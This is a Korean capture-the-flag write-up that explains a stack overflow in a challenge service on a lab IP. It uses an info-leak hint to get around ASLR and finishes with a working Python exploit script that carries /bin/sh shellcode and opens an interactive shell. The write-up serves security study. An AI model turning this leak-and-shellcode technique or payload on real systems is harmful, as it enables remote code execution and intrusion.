우선 v3에 입력을 받고 v5를 넘겨준다.
힌트 함수에서 메모리 릭을 통해 스택 주소를 구할 수 있고
exploit 함수를 통해 ret을 덮어 쓸 수 있다
페이로드는 [NOP*48][Stack_Address][NOP][ShellCode]
스택 주소를 구해보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | from struct import * from socket import * import hexdump import time s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.153.139", 3720)) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" payload = "A"*48 time.sleep(0.3) print s.recv(1024) s.send("1\n") print s.recv(1024) s.send("999\n") data = s.recv(1024) hexdump.hexdump(data) s.send("2\n") time.sleep(0.3) print s.recv(1024) s.send(payload + "\n") raw_input(">") print s.recv(1024) s.send("3\n") print s.recv(1024) | cs |
이런 소스를 스택 주소를 구할 때 사용하였는데 소스를 실행하고 기다린다음
gdb로 잡고 leave에 브레이크 걸고
브레이크까지 실행시킨다
이렇게 들어간 값들이 보이는데 위에가 스택 주소다 하지만 ASLR이 걸려서 스택주소를 바로 구할 수 가 없다
그래서 힌트 함수를 사용하는데
방금 사용한 소스에 출력화면이다. 12:16사이의 주소값이 거의 고정값처럼 스택에서 저만큼 떨어져있다.
많이 실행해보면 알 수 있다. 0xbff0155c-0xbff0148c를 해주면 스택 주소를 구할 수 있다.
오프셋은 D0인데
음 정리하자면 힌트함수에서 릭을 하면 12:16에 나오는 주소에서 D0을 빼면 스택 주소가 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from struct import * from socket import * import hexdump import time p = lambda x: pack("<L", x) up = lambda x: unpack("<L", x)[0] s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.153.139", 3720)) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" time.sleep(0.3) print s.recv(1024) s.send("1\n") print s.recv(1024) s.send("999\n") time.sleep(0.3) data = s.recv(1024) stack = up(data[12:16])-0xD0 hexdump.hexdump(data) s.send("2\n") time.sleep(0.3) print s.recv(1024) payload = "\x90"*48 + p(stack)+"\x90"*8+shell print stack s.send(payload + "\n") raw_input(">") print s.recv(1024) s.send("3\n") print s.recv(1024) | cs |
해당 소스를 통해 실험해보자
이렇게 보면 저 중간에 스택 주소가 잘 구해졌다. 그 뒤에 쉘코드가 있는데 오프셋을 좀 더 정확히 구해서 쉘코드 부분을 맞춰주면 된다.
[12:16]주소에서 저 쉘코드 주소를 빼면
그럼 0x94가 된다.
NOP를 48개 넣어주고 ret주소에 stack 주소를 집어 넣고 뒤에 쉘코드를 넣는다
근데 stack주소는 힌트함수를 통해 얻을 수 있고 [12:16]의 주소를 참고하여 -0x94를 해주면 쉘코들르 가르킬 수 있게된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from socket import * from struct import * from time import sleep import hexdump p = lambda x: pack("<L", x) up = lambda x: unpack("<L", x)[0] socket = socket(AF_INET, SOCK_STREAM) socket.connect(("192.168.153.139", 3720)) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" sleep(0.3) print socket.recv(1024) socket.send("1"+"\n") print socket.recv(1024) socket.send("999"+"\n") sleep(0.3) data = socket.recv(1024) stack = up(data[12:16])-0x94 socket.send("2"+"\n") print socket.recv(1024) payload = "\x90"*48 + p(stack)+"\x90"*8+shell socket.send(payload+"\n") sleep(0.3) a = socket.recv(1024) socket.send("3"+"\n") sleep(0.3) print socket.recv(1024) while 1: command = raw_input("tory> ") send = socket.send(command+"\n") print socket.recv(1024) socket.close() | cs |
끝!!!
'CTF > Write-up' 카테고리의 다른 글
Warm-Heap (0) | 2017.01.15 |
---|---|
codegate 2014 nuclear (0) | 2017.01.13 |
codegate 2013 vuln200 (0) | 2017.01.08 |
Layer7 ctf 2015 IhaveLongDariYouHaveShotDari (6) | 2017.01.07 |
Pico ctf 2014 rop1 (0) | 2017.01.05 |